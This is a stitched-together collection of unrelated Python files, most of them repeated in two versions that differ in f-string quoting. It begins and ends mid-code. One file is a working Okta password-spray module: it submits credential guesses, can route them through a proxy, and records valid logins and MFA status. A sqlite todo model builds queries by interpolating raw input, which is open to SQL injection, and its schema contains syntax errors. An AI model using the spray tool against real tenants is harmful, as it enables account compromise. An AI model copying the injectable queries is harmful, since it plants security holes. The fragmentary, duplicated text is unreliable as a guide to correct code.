x: f'{x.split("-")[0]}', inplace=True) return _df def read_rm_prob_files(data_dir, number_of_docs, clipping='*'): """The function creates a DF from files, the probabilities are p(w|RM1) for all query words If a query term doesn't appear in the file, it's implies p(w|R)=0""" data_files = glob.glob(f'{data_dir}/probabilities-{number_of_docs}+{clipping}') if len(data_files) < 1: data_files = glob.glob(f'{data_dir}/probabilities-{number_of_docs}') _list = [] for _file in data_files: _col = f'{_file.rsplit("/")[-1].rsplit("-")[-1]}' _df = pd.read_table(_file, names=['qid', 'term', _col], sep=' ') _df = _df.astype({'qid': str}).set_index(['qid', 'term']) _list.append(_df) return pd.concat(_list, axis=1).fillna(0)
import csv import json import requests class Okta: """Password spray Okta API""" def __init__(self, host, port, timeout, fireprox): self.timeout = timeout self.url = f"https://{host}:{port}/api/v1/authn" # Okta requires username posted to /api/v1/authn to get a stateToken, and then this # token and password get posted to /api/v1/authn/factors/password/verify self.url2 = f"https://{host}:{port}/api/v1/authn/factors/password/verify" if fireprox: self.url = f"https://{fireprox}/fireprox/api/v1/authn" self.url2 = ( f"https://{fireprox}/fireprox/api/v1/authn/factors/password/verify" ) self.headers = { "Accept": "application/json", "X-Requested-With": "XMLHttpRequest", "X-Okta-User-Agent-Extended": "okta-signin-widget-2.12.0", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en", "Content-Type": "application/json", } # username submission json self.data = { "username": "", "options": { "warnBeforePasswordExpired": "true", "multiOptionalFactorEnroll": "true", }, } # password submission json self.data2 = {"password": "", "stateToken": ""} def set_username(self, username): self.data["username"] = username def set_password(self, password): self.data2["password"] = password def set_token(self, token): self.data2["stateToken"] = token def login(self, username, password): # set data self.set_username(username) # post the request response = requests.post( self.url, headers=self.headers, json=self.data, timeout=self.timeout ) # , verify=False, proxies=self.proxyDict) # get the stateToken for password submission data = response.json() token = "" if "stateToken" in data.keys(): token = data["stateToken"] else: # temp debug # print("[DEBUG] stateToken missing from Okta response;") # raise ValueError(f"Okta response missing stateToken") return response self.set_password(password) self.set_token(token) # post the request response = requests.post( self.url2, headers=self.headers, json=self.data2, timeout=self.timeout ) # , verify=False, proxies=self.proxyDict) return response # handle CSV out output headers. Can be customized per module def print_headers(self, csvfile): # print table headers print( "%-13s %-30s %-35s %-17s %-13s %-15s" % ( "Result", "Message", "Username", "Password", "Response Code", "Response Length", ) ) print("-" * 128) # create CSV file output = open(csvfile, "w") fieldnames = [ "Result", "Message", "Username", "Password", "Response Code", "Response Length", ] output_writer = csv.DictWriter(output, delimiter=",", fieldnames=fieldnames) output_writer.writeheader() output.close() # handle target's response evaluation. Can be customized per module def print_response(self, response, csvfile, timeout=False): if timeout: code = "TIMEOUT" length = "TIMEOUT" else: code = response.status_code length = str(len(response.content)) data = response.json() result = None if "errorSummary" in data.keys(): if data["errorSummary"] == "Authentication failed": # Login returned early - stateToken missing result = "Error" message = "Okta resp missing stateToken" else: # standard fail result = "Fail" message = data["errorSummary"] # statuses taken from https://developer.okta.com/docs/reference/api/authn/#response-example-for-primary-authentication-with-public-application-success elif response.status_code == 200 and "status" in data.keys(): # print(f"[DEBUG]: {data}") # Account lockout if data["status"] == "LOCKED_OUT": result = "Fail" message = "Account appears locked" # Valid and not enrolled in MFA yet elif data["status"] == "PASSWORD_EXPIRED": result = "Success" message = "Password Expired; no MFA" # Valid and not enrolled in MFA yet elif data["status"] == "MFA_ENROLL": result = "Success" message = "Valid login; needs MFA enrollment" # Valid and MFA required elif data["status"] == "MFA_REQUIRED": result = "Success" message = "Valid login; MFA required" # failsafe for all other cases else: result = "Fail" message = "Unknown result returned" # print result to screen print( "%-13s %-30s %-35s %-17s %13s %15s" % ( result, message, self.data["username"], self.data2["password"], code, length, ) ) # print to CSV file output = open(csvfile, "a") output.write( f'{result},{message},{self.data['username']},{self.data2['password']},{code},{length}\n' ) output.close() if response.status_code == 429: print("[!] Encountered HTTP response code 429; killing spray") exit()
import csv import json import requests class Okta: """Password spray Okta API""" def __init__(self, host, port, timeout, fireprox): self.timeout = timeout self.url = f"https://{host}:{port}/api/v1/authn" # Okta requires username posted to /api/v1/authn to get a stateToken, and then this # token and password get posted to /api/v1/authn/factors/password/verify self.url2 = f"https://{host}:{port}/api/v1/authn/factors/password/verify" if fireprox: self.url = f"https://{fireprox}/fireprox/api/v1/authn" self.url2 = ( f"https://{fireprox}/fireprox/api/v1/authn/factors/password/verify" ) self.headers = { "Accept": "application/json", "X-Requested-With": "XMLHttpRequest", "X-Okta-User-Agent-Extended": "okta-signin-widget-2.12.0", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en", "Content-Type": "application/json", } # username submission json self.data = { "username": "", "options": { "warnBeforePasswordExpired": "true", "multiOptionalFactorEnroll": "true", }, } # password submission json self.data2 = {"password": "", "stateToken": ""} def set_username(self, username): self.data["username"] = username def set_password(self, password): self.data2["password"] = password def set_token(self, token): self.data2["stateToken"] = token def login(self, username, password): # set data self.set_username(username) # post the request response = requests.post( self.url, headers=self.headers, json=self.data, timeout=self.timeout ) # , verify=False, proxies=self.proxyDict) # get the stateToken for password submission data = response.json() token = "" if "stateToken" in data.keys(): token = data["stateToken"] else: # temp debug # print("[DEBUG] stateToken missing from Okta response;") # raise ValueError(f"Okta response missing stateToken") return response self.set_password(password) self.set_token(token) # post the request response = requests.post( self.url2, headers=self.headers, json=self.data2, timeout=self.timeout ) # , verify=False, proxies=self.proxyDict) return response # handle CSV out output headers. Can be customized per module def print_headers(self, csvfile): # print table headers print( "%-13s %-30s %-35s %-17s %-13s %-15s" % ( "Result", "Message", "Username", "Password", "Response Code", "Response Length", ) ) print("-" * 128) # create CSV file output = open(csvfile, "w") fieldnames = [ "Result", "Message", "Username", "Password", "Response Code", "Response Length", ] output_writer = csv.DictWriter(output, delimiter=",", fieldnames=fieldnames) output_writer.writeheader() output.close() # handle target's response evaluation. Can be customized per module def print_response(self, response, csvfile, timeout=False): if timeout: code = "TIMEOUT" length = "TIMEOUT" else: code = response.status_code length = str(len(response.content)) data = response.json() result = None if "errorSummary" in data.keys(): if data["errorSummary"] == "Authentication failed": # Login returned early - stateToken missing result = "Error" message = "Okta resp missing stateToken" else: # standard fail result = "Fail" message = data["errorSummary"] # statuses taken from https://developer.okta.com/docs/reference/api/authn/#response-example-for-primary-authentication-with-public-application-success elif response.status_code == 200 and "status" in data.keys(): # print(f"[DEBUG]: {data}") # Account lockout if data["status"] == "LOCKED_OUT": result = "Fail" message = "Account appears locked" # Valid and not enrolled in MFA yet elif data["status"] == "PASSWORD_EXPIRED": result = "Success" message = "Password Expired; no MFA" # Valid and not enrolled in MFA yet elif data["status"] == "MFA_ENROLL": result = "Success" message = "Valid login; needs MFA enrollment" # Valid and MFA required elif data["status"] == "MFA_REQUIRED": result = "Success" message = "Valid login; MFA required" # failsafe for all other cases else: result = "Fail" message = "Unknown result returned" # print result to screen print( "%-13s %-30s %-35s %-17s %13s %15s" % ( result, message, self.data["username"], self.data2["password"], code, length, ) ) # print to CSV file output = open(csvfile, "a") output.write( f'{result},{message},{self.data["username"]},{self.data2["password"]},{code},{length}\n' ) output.close() if response.status_code == 429: print("[!] Encountered HTTP response code 429; killing spray") exit()
import logging import time import signal import socket import subprocess from shutil import which import pycurl import pytest from selenium import webdriver from selenium.webdriver.common.by import By from selenium.webdriver.support import expected_conditions as EC from selenium.webdriver.support.ui import WebDriverWait logger = logging.getLogger("instant-markdown-d_tests") def port_in_use(port): with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: return s.connect_ex(("localhost", port)) == 0 def browser_wait_condition(driver): span_test_case = EC.presence_of_element_located((By.CLASS_NAME, "test-case")) div_con_error = EC.invisibility_of_element_located((By.ID, "con-error")) return span_test_case(driver) and div_con_error(driver) class BrowserEngine(webdriver.Firefox): def __init__(self): options = webdriver.FirefoxOptions() options.add_argument("--headless") super().__init__(options=options) def get(self, port): url = f"http://localhost:{port}/" # FIXME: Do we need this? time.sleep(1.0) logger.info(f"Get {url}") super().get(url) # Explicit wait with a timeout for 2 seconds and until a html tag with # a class/id is located _ = WebDriverWait(self, 2).until(browser_wait_condition) html = self.page_source return html def __enter__(self): logger.info("Running Firefox headless") return self def __exit__(self, exc_type, exc_val, exc_tb): # close the window self.close() # quit the node process self.quit() # kill the specific child process, if needed if self.service.process is not None: self.service.process.send_signal(signal.SIGTERM) logger.info("Exiting Firefox") class InstantMarkdownD: def __init__(self, options, port=8090): self.port = port self.options = options.split() for tries in range(10): if port_in_use(port): logger.warning( f"Port {port} is active. Tests may fail. Trying again" ) time.sleep(0.2) else: break else: # break not encountered => port is active logger.error( "Giving up checks for port. " "Is instant-markdown-d already running?" "Check if instant-markdown-d is running in the background, " "using `pgrep -af node` in Unix or equivalent" ) if port != 8090: self.options.append(f"--port={port}") def __enter__(self): node = which("node") cmd = [node, "./src/cli.js", *self.options] logger.info(f"Running {" ".join(cmd)}") self.process = subprocess.Popen( cmd, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, universal_newlines=False, ) return self def __exit__(self, exc_type, exc_val, exc_tb): logger.info("Exiting instant-markdown-d") self.process.terminate() def send(self, via, markdown_file): # Wait some time to ensure the server has launched # TODO: find a better way: signal? return code? daemon? for tries in range(10): if port_in_use(self.port): break else: logger.info(f"Port {self.port} is inactive. Waiting... ") time.sleep(0.5) else: # break not encountered => port inactive raise IOError( "Giving up checks for port. " "Has instant-markdown-d failed to start?" ) method = getattr(self, f"_send_{via}") method(markdown_file) def _send_stdin(self, markdown_file): logger.info(f"send via stdin {markdown_file}") with open(markdown_file, "rb") as file: text = file.read() # Blocks! so give it enough time to pass text to stdin. try: self.process.communicate(input=text, timeout=1) except subprocess.TimeoutExpired: pass def _send_curl(self, markdown_file): logger.info(f"send via curl using REST API {markdown_file}") # Equivalent to # curl -X PUT -T {markdown_file} http://localhost:{port} c = pycurl.Curl() c.setopt(c.URL, f"http://localhost:{self.port}") c.setopt(c.UPLOAD, 1) with open(markdown_file, "rb") as file: # File must be kept open while Curl object is using it c.setopt(c.READDATA, file) c.perform() assert c.getinfo(c.RESPONSE_CODE) == 200, "PUT request failed" c.close() @pytest.fixture(scope="session") def browser(): with BrowserEngine() as b: yield b @pytest.fixture(scope="function") def Server(): return InstantMarkdownD
import logging import time import signal import socket import subprocess from shutil import which import pycurl import pytest from selenium import webdriver from selenium.webdriver.common.by import By from selenium.webdriver.support import expected_conditions as EC from selenium.webdriver.support.ui import WebDriverWait logger = logging.getLogger("instant-markdown-d_tests") def port_in_use(port): with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: return s.connect_ex(("localhost", port)) == 0 def browser_wait_condition(driver): span_test_case = EC.presence_of_element_located((By.CLASS_NAME, "test-case")) div_con_error = EC.invisibility_of_element_located((By.ID, "con-error")) return span_test_case(driver) and div_con_error(driver) class BrowserEngine(webdriver.Firefox): def __init__(self): options = webdriver.FirefoxOptions() options.add_argument("--headless") super().__init__(options=options) def get(self, port): url = f"http://localhost:{port}/" # FIXME: Do we need this? time.sleep(1.0) logger.info(f"Get {url}") super().get(url) # Explicit wait with a timeout for 2 seconds and until a html tag with # a class/id is located _ = WebDriverWait(self, 2).until(browser_wait_condition) html = self.page_source return html def __enter__(self): logger.info("Running Firefox headless") return self def __exit__(self, exc_type, exc_val, exc_tb): # close the window self.close() # quit the node process self.quit() # kill the specific child process, if needed if self.service.process is not None: self.service.process.send_signal(signal.SIGTERM) logger.info("Exiting Firefox") class InstantMarkdownD: def __init__(self, options, port=8090): self.port = port self.options = options.split() for tries in range(10): if port_in_use(port): logger.warning( f"Port {port} is active. Tests may fail. Trying again" ) time.sleep(0.2) else: break else: # break not encountered => port is active logger.error( "Giving up checks for port. " "Is instant-markdown-d already running?" "Check if instant-markdown-d is running in the background, " "using `pgrep -af node` in Unix or equivalent" ) if port != 8090: self.options.append(f"--port={port}") def __enter__(self): node = which("node") cmd = [node, "./src/cli.js", *self.options] logger.info(f"Running {' '.join(cmd)}") self.process = subprocess.Popen( cmd, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, universal_newlines=False, ) return self def __exit__(self, exc_type, exc_val, exc_tb): logger.info("Exiting instant-markdown-d") self.process.terminate() def send(self, via, markdown_file): # Wait some time to ensure the server has launched # TODO: find a better way: signal? return code? daemon? for tries in range(10): if port_in_use(self.port): break else: logger.info(f"Port {self.port} is inactive. Waiting... ") time.sleep(0.5) else: # break not encountered => port inactive raise IOError( "Giving up checks for port. " "Has instant-markdown-d failed to start?" ) method = getattr(self, f"_send_{via}") method(markdown_file) def _send_stdin(self, markdown_file): logger.info(f"send via stdin {markdown_file}") with open(markdown_file, "rb") as file: text = file.read() # Blocks! so give it enough time to pass text to stdin. try: self.process.communicate(input=text, timeout=1) except subprocess.TimeoutExpired: pass def _send_curl(self, markdown_file): logger.info(f"send via curl using REST API {markdown_file}") # Equivalent to # curl -X PUT -T {markdown_file} http://localhost:{port} c = pycurl.Curl() c.setopt(c.URL, f"http://localhost:{self.port}") c.setopt(c.UPLOAD, 1) with open(markdown_file, "rb") as file: # File must be kept open while Curl object is using it c.setopt(c.READDATA, file) c.perform() assert c.getinfo(c.RESPONSE_CODE) == 200, "PUT request failed" c.close() @pytest.fixture(scope="session") def browser(): with BrowserEngine() as b: yield b @pytest.fixture(scope="function") def Server(): return InstantMarkdownD
from datetime import datetime from distutils.util import strtobool import os class TerminalColors: HEADER = '\033[95m' OKBLUE = '\033[94m' OKCYAN = '\033[96m' OKGREEN = '\033[92m' WARNING = '\033[93m' FAIL = '\033[91m' ENDC = '\033[0m' BOLD = '\033[1m' UNDERLINE = '\033[4m' class Utility: @staticmethod def timestamp_log_message(log_message): return f"{datetime.utcnow().strftime("%Y-%m-%d %H:%M:%S")}::{log_message}" @staticmethod def log_verbose(log_message): print(f"{TerminalColors.OKBLUE}{Utility.timestamp_log_message(log_message)}{TerminalColors.ENDC}") @staticmethod def log_information(log_message): print(f"{TerminalColors.OKGREEN}{Utility.timestamp_log_message(log_message)}{TerminalColors.ENDC}") @staticmethod def log_warning(log_message): print(f"{TerminalColors.WARNING}{Utility.timestamp_log_message(log_message)}{TerminalColors.ENDC}") @staticmethod def log_error(log_message): print(f"{TerminalColors.FAIL}{Utility.timestamp_log_message(log_message)}{TerminalColors.ENDC}") @staticmethod def parse_price_string(price_string): cleaned_price_string = price_string \ .replace(",", "") \ .replace("$", "") \ .replace("£", "") \ .replace("€", "") parsed_price = float(cleaned_price_string) return parsed_price @staticmethod def beep(): print("\a") @staticmethod def get_config_value_str(config_key): return os.environ.get(config_key) @staticmethod def get_config_value_int(config_key): return int(os.environ.get(config_key)) @staticmethod def get_config_value_float(config_key): return float(os.environ.get(config_key)) @staticmethod def get_config_value_bool(config_key): return bool(strtobool(os.environ.get(config_key)))
from datetime import datetime from distutils.util import strtobool import os class TerminalColors: HEADER = '\033[95m' OKBLUE = '\033[94m' OKCYAN = '\033[96m' OKGREEN = '\033[92m' WARNING = '\033[93m' FAIL = '\033[91m' ENDC = '\033[0m' BOLD = '\033[1m' UNDERLINE = '\033[4m' class Utility: @staticmethod def timestamp_log_message(log_message): return f"{datetime.utcnow().strftime('%Y-%m-%d %H:%M:%S')}::{log_message}" @staticmethod def log_verbose(log_message): print(f"{TerminalColors.OKBLUE}{Utility.timestamp_log_message(log_message)}{TerminalColors.ENDC}") @staticmethod def log_information(log_message): print(f"{TerminalColors.OKGREEN}{Utility.timestamp_log_message(log_message)}{TerminalColors.ENDC}") @staticmethod def log_warning(log_message): print(f"{TerminalColors.WARNING}{Utility.timestamp_log_message(log_message)}{TerminalColors.ENDC}") @staticmethod def log_error(log_message): print(f"{TerminalColors.FAIL}{Utility.timestamp_log_message(log_message)}{TerminalColors.ENDC}") @staticmethod def parse_price_string(price_string): cleaned_price_string = price_string \ .replace(",", "") \ .replace("$", "") \ .replace("£", "") \ .replace("€", "") parsed_price = float(cleaned_price_string) return parsed_price @staticmethod def beep(): print("\a") @staticmethod def get_config_value_str(config_key): return os.environ.get(config_key) @staticmethod def get_config_value_int(config_key): return int(os.environ.get(config_key)) @staticmethod def get_config_value_float(config_key): return float(os.environ.get(config_key)) @staticmethod def get_config_value_bool(config_key): return bool(strtobool(os.environ.get(config_key)))
import sqlite3 class Schema: def __init__(self): # connect to database self.conn = sqlite3.connect('todo.db') self.create_user_table() self.create_to_do_table() # Why are we calling user table before to_do table # what happens if we swap them? def create_to_do_table(self): query = """ CREATE TABLE IF NOT EXISTS "Todo" ( id INTEGER PRIMARY KEY, Title TEXT, Description TEXT, _is_done boolean, _is_deleted boolean, CreatedOn Date DEFAULT CURRENT_DATE, DueDate Date, UserId INTEGER FOREIGNKEY REFERENCES User(_id) ); """ self.conn.execute(query) def create_user_table(self): query = """ CREATE TABLE IF NOT EXISTS "User" ( id INTEGER PRIMARY KEY AUTOINCREMENT, Name TEXT NOT NULL, Email TEXT, CreatedOn Date DEFAULT CURRENT_DATE, ); """ self.conn.execute(query) class ToDoModel: TABLENAME = "Todo" def __init__(self): self.conn = sqlite3.connect('todo.db') self.conn.row_factory = sqlite3.Row def __del__(self): # body of destructor self.conn.commit() self.conn.close() def get_by_id(self, _id): where_clause = f"AND id={_id}" return self.list_items(where_clause) def create(self, params): query = f'insert into {self.TABLENAME} ' \ f'(Title, Description, DueDate, UserId) ' \ f'values ("{params.get('Title')}","{params.get('Description')}",' \ f'"{params.get('DueDate')}","{params.get('UserId')}")' result = self.conn.execute(query) return self.get_by_id(result.lastrowid) def delete(self, item_id): query = f"UPDATE {self.TABLENAME} " \ f"SET _is_deleted = {1} " \ f"WHERE id = {item_id}" print (query) self.conn.execute(query) return self.list_items() def update(self, item_id, update_dict): """ column: value Title: new title """ set_query = " ".join([f'{column} = {value}' for column, value in update_dict.items()]) query = f"UPDATE {self.TABLENAME} " \ f"SET {set_query} " \ f"WHERE id = {item_id}" self.conn.execute(query) return self.get_by_id(item_id) def list_items(self, where_clause=""): query = f"SELECT id, Title, Description, DueDate, _is_done " \ f"from {self.TABLENAME} WHERE _is_deleted != {1} " + where_clause print (query) result_set = self.conn.execute(query).fetchall() result = [{column: row[i] for i, column in enumerate(result_set[0].keys())} for row in result_set] return result class User: TABLENAME = "User" def create(self, name, email): query = f'insert into {self.TABLENAME} ' \ f'(Name, Email) ' \ f'values ({name},{email})' result = self.conn.execute(query) return result
import sqlite3 class Schema: def __init__(self): # connect to database self.conn = sqlite3.connect('todo.db') self.create_user_table() self.create_to_do_table() # Why are we calling user table before to_do table # what happens if we swap them? def create_to_do_table(self): query = """ CREATE TABLE IF NOT EXISTS "Todo" ( id INTEGER PRIMARY KEY, Title TEXT, Description TEXT, _is_done boolean, _is_deleted boolean, CreatedOn Date DEFAULT CURRENT_DATE, DueDate Date, UserId INTEGER FOREIGNKEY REFERENCES User(_id) ); """ self.conn.execute(query) def create_user_table(self): query = """ CREATE TABLE IF NOT EXISTS "User" ( id INTEGER PRIMARY KEY AUTOINCREMENT, Name TEXT NOT NULL, Email TEXT, CreatedOn Date DEFAULT CURRENT_DATE, ); """ self.conn.execute(query) class ToDoModel: TABLENAME = "Todo" def __init__(self): self.conn = sqlite3.connect('todo.db') self.conn.row_factory = sqlite3.Row def __del__(self): # body of destructor self.conn.commit() self.conn.close() def get_by_id(self, _id): where_clause = f"AND id={_id}" return self.list_items(where_clause) def create(self, params): query = f'insert into {self.TABLENAME} ' \ f'(Title, Description, DueDate, UserId) ' \ f'values ("{params.get("Title")}","{params.get("Description")}",' \ f'"{params.get("DueDate")}","{params.get("UserId")}")' result = self.conn.execute(query) return self.get_by_id(result.lastrowid) def delete(self, item_id): query = f"UPDATE {self.TABLENAME} " \ f"SET _is_deleted = {1} " \ f"WHERE id = {item_id}" print (query) self.conn.execute(query) return self.list_items() def update(self, item_id, update_dict): """ column: value Title: new title """ set_query = " ".join([f'{column} = {value}' for column, value in update_dict.items()]) query = f"UPDATE {self.TABLENAME} " \ f"SET {set_query} " \ f"WHERE id = {item_id}" self.conn.execute(query) return self.get_by_id(item_id) def list_items(self, where_clause=""): query = f"SELECT id, Title, Description, DueDate, _is_done " \ f"from {self.TABLENAME} WHERE _is_deleted != {1} " + where_clause print (query) result_set = self.conn.execute(query).fetchall() result = [{column: row[i] for i, column in enumerate(result_set[0].keys())} for row in result_set] return result class User: TABLENAME = "User" def create(self, name, email): query = f'insert into {self.TABLENAME} ' \ f'(Name, Email) ' \ f'values ({name},{email})' result = self.conn.execute(query) return result
# Copyright (C) 2020 GreenWaves Technologies, SAS # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU Affero General Public License as # published by the Free Software Foundation, either version 3 of the # License, or (at your option) any later version. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Affero General Public License for more details. # You should have received a copy of the GNU Affero General Public License # along with this program. If not, see <https://www.gnu.org/licenses/>. import logging import shutil import numpy as np from cmd2 import Cmd, Cmd2ArgumentParser, with_argparser from interpreter.nntool_shell_base import NNToolShellBase, no_history from interpreter.shell_utils import print_comparison from texttable import Texttable from utils.at_tensor_loader import at_map_tensors, at_tensor_loader from utils.stats_funcs import cos_similarity, qsnr LOG = logging.getLogger('nntool.'+__name__) class CustomTexttable(Texttable): @classmethod def _fmt_auto(cls, x, **kw): """If it's a float print a float""" if isinstance(x, str): # NaN fn = cls._fmt_text elif isinstance(x, int): fn = cls._fmt_int else: fn = cls._fmt_float return fn(x, **kw) class TensorsCommand(NNToolShellBase): # TENSORS_COMMAND parser_tensors = Cmd2ArgumentParser() parser_tensors.add_argument('-c', '--channel', nargs=(1, 2), type=int, help='channel to compare') parser_tensors.add_argument('-s', '--step', type=int, help='step to compare') parser_outexclu = parser_tensors.add_mutually_exclusive_group() parser_outexclu.add_argument('-Q', '--compare_qsnr', action='store_true', help='compare two tensors QSNR') parser_outexclu.add_argument('-C', '--compare_cos_similarity', action='store_true', help='compare two tensors cosine similarity') parser_outexclu.add_argument('-E', '--compare_error', action='store_true', help='compare two tensors error (first - second)') parser_tensors.add_argument('-n', '--name', type=str, choices_method=lambda x: x.tensor_store_names, help='name to use for the tensor in the tensor store') parser_tensors.add_argument('--write_numpy', type=str, completer_method=Cmd.path_complete, help='write a tensor in npy format. you must select a step. ' + 'the output of this step is written. specify a single tensor with ' + 'the -t option.') parser_tensors.add_argument('-m', '--make_filename', type=str, completer_method=Cmd.path_complete, help='write a makefile including the dimensions of the tensor written ' + 'and the dimensions of the input to the node that produced it.') parser_tensors.add_argument('--index', type=int, default=0, help='output index to compare') parser_texclu2 = parser_tensors.add_mutually_exclusive_group() parser_texclu2.add_argument('-t', '--tensors', nargs=(1, 2), type=str, choices_method=lambda x: x.tensor_store_names, help='compare two tensors') parser_texclu2.add_argument('-g', '--gap_load', completer_method=Cmd.path_complete, help='load tensors dumped by autotiler code. ' + 'Supply the filename and' + ' an optional tensor store name. If none is given' + ' the filename will be used.') parser_texclu2.add_argument('-X', '--clear', action='store_true', help='clears the tensor store') @with_argparser(parser_tensors) @no_history def do_tensors(self, args): """ Load and manipulate tensors. If no option is supplied the saved tensors will be listed. All the tensors in the store are available in dictionary 'tensors' in the python console accessed by the command 'py'. Tensors can be displayed side by side or the average absolute error or QSNR displayed. If a step is selected then the error by channel will be displayed. If there is a difference between the tensor shapes so the tensors can not be compared 'shape' will be shown as the result. If one or both of the tensors do not exist then N/A will be displayed.""" if args.clear: self.pfeedback('tensor store cleared') self.tensor_store.clear() return if args.gap_load: store_name = args.gap_load if not args.name else args.name self.tensor_store[store_name] = at_map_tensors( self.G, at_tensor_loader(args.gap_load)) return if args.tensors: if len(args.tensors) == 1: tensor_name = args.tensors[0] tensors = self.tensor_store.get(tensor_name) if tensors is None: self.perror("{} not in store".format(tensor_name)) return if args.step is None: self.perror("you must select a step") return if args.step >= len(tensors): self.perror( "{} doesn't have that step".format(tensor_name)) return if tensors[args.step] is None: self.perror( "{} doesn't have this tensor for that step".format(tensor_name)) return tensor = tensors[args.step] if args.index >= len(tensor): self.perror( f"{tensor_name} doesn't have a tensor at index {args.index} for that step") return tensor = tensor[args.index] if args.channel is not None: t_shape = tensor.shape if len(t_shape) < len(args.channel): self.perror( f"too many channel indexes for tensor {tensor_name} with shape {t_shape}") return else: for c in args.channel: if c >= tensor.shape[0]: self.perror( f"invalid channel indexes for tensor {tensor_name} with shape {t_shape}") return tensor = np.atleast_1d(tensor[c]) if args.write_numpy: np.save(args.write_numpy, tensor) else: term_size = shutil.get_terminal_size(fallback=(80, 23)) max_line_width = term_size.columns self.ppaged(np.array_str(tensor, max_line_width=max_line_width, precision=3, suppress_small=True)) return compare = args.tensors tensors = [None]*2 for i in range(2): tensors[i] = self.tensor_store.get(compare[i]) if tensors[i] is None: self.perror("{} not in store".format(compare[i])) return tensors[i] = [t[args.index] if len(t) > args.index else None for t in tensors[i]] if args.step is not None: for i in range(2): if args.step >= len(tensors[i]): self.perror( "{} doesn't have that step".format(compare[i])) return if tensors[i][args.step] is None: self.perror( "{} doesn't have this tensor for that step".format(compare[i])) return tensors[i] = [tensors[i][args.step]] if args.channel is not None: for i in range(2): for j, tensor in enumerate(tensors[i]): if len(tensor.shape) < len(args.channel): tensors[i][j] = None else: for c in args.channel: tensor = np.atleast_1d(tensor[c]) tensors[i][j] = tensor if args.compare_qsnr or args.compare_error or args.compare_cos_similarity: if args.compare_qsnr: etype = "QSNR" tdtype = "a" prec = 0 def func(x, y): if x is not None and y is not None: if x.shape != y.shape: return "shape" return qsnr(x.astype(np.float), y.astype(np.float)) return "N/A" elif args.compare_cos_similarity: etype = "COS similarity" tdtype = "a" prec = 2 def func(x, y): if x is not None and y is not None: if x.shape != y.shape: return "shape" return float(cos_similarity(x.astype(np.float), y.astype(np.float))) return "N/A" else: etype = "Max abs error" tdtype = "a" prec = 3 def func(x, y): if x is not None and y is not None: if x.shape != y.shape: return "shape" return float(np.max(np.abs(x - y))) return "N/A" if args.step is not None: print(f"{etype} for step {args.step}") if args.channel is not None: print(f"{etype} for dimensions [{",".join([str(chan) for chan in args.channel])}]") #pylint: disable=unsubscriptable-object out = [func(tensors[0][0][i], tensors[1][0][i]) for i in range(len(tensors[0][0]))] else: out = [func(t1, t2) for t1, t2 in zip(*tensors)] table = CustomTexttable() table.set_cols_align(['l']+(['r']*10)) table.set_cols_dtype(['a']+([tdtype]*10)) table.header(['']+[str(x) for x in range(0, 10)]) table.set_max_width(0) table.set_precision(prec) row = None idx = 0 for val in out: if idx % 10 == 0: if row is not None: table.add_row(row) row = [f'{int(idx)}'] row.append(val) idx += 1 if row and len(row) > 1: table.add_row(row + ([''] * (11-len(row)))) print(table.draw()) print() else: self.ppaged("\n".join(print_comparison(tensors))) return for idx, k in enumerate(self.tensor_store): print("{:3d}) {}".format(idx, k))
# Copyright (C) 2020 GreenWaves Technologies, SAS # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU Affero General Public License as # published by the Free Software Foundation, either version 3 of the # License, or (at your option) any later version. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Affero General Public License for more details. # You should have received a copy of the GNU Affero General Public License # along with this program. If not, see <https://www.gnu.org/licenses/>. import logging import shutil import numpy as np from cmd2 import Cmd, Cmd2ArgumentParser, with_argparser from interpreter.nntool_shell_base import NNToolShellBase, no_history from interpreter.shell_utils import print_comparison from texttable import Texttable from utils.at_tensor_loader import at_map_tensors, at_tensor_loader from utils.stats_funcs import cos_similarity, qsnr LOG = logging.getLogger('nntool.'+__name__) class CustomTexttable(Texttable): @classmethod def _fmt_auto(cls, x, **kw): """If it's a float print a float""" if isinstance(x, str): # NaN fn = cls._fmt_text elif isinstance(x, int): fn = cls._fmt_int else: fn = cls._fmt_float return fn(x, **kw) class TensorsCommand(NNToolShellBase): # TENSORS_COMMAND parser_tensors = Cmd2ArgumentParser() parser_tensors.add_argument('-c', '--channel', nargs=(1, 2), type=int, help='channel to compare') parser_tensors.add_argument('-s', '--step', type=int, help='step to compare') parser_outexclu = parser_tensors.add_mutually_exclusive_group() parser_outexclu.add_argument('-Q', '--compare_qsnr', action='store_true', help='compare two tensors QSNR') parser_outexclu.add_argument('-C', '--compare_cos_similarity', action='store_true', help='compare two tensors cosine similarity') parser_outexclu.add_argument('-E', '--compare_error', action='store_true', help='compare two tensors error (first - second)') parser_tensors.add_argument('-n', '--name', type=str, choices_method=lambda x: x.tensor_store_names, help='name to use for the tensor in the tensor store') parser_tensors.add_argument('--write_numpy', type=str, completer_method=Cmd.path_complete, help='write a tensor in npy format. you must select a step. ' + 'the output of this step is written. specify a single tensor with ' + 'the -t option.') parser_tensors.add_argument('-m', '--make_filename', type=str, completer_method=Cmd.path_complete, help='write a makefile including the dimensions of the tensor written ' + 'and the dimensions of the input to the node that produced it.') parser_tensors.add_argument('--index', type=int, default=0, help='output index to compare') parser_texclu2 = parser_tensors.add_mutually_exclusive_group() parser_texclu2.add_argument('-t', '--tensors', nargs=(1, 2), type=str, choices_method=lambda x: x.tensor_store_names, help='compare two tensors') parser_texclu2.add_argument('-g', '--gap_load', completer_method=Cmd.path_complete, help='load tensors dumped by autotiler code. ' + 'Supply the filename and' + ' an optional tensor store name. If none is given' + ' the filename will be used.') parser_texclu2.add_argument('-X', '--clear', action='store_true', help='clears the tensor store') @with_argparser(parser_tensors) @no_history def do_tensors(self, args): """ Load and manipulate tensors. If no option is 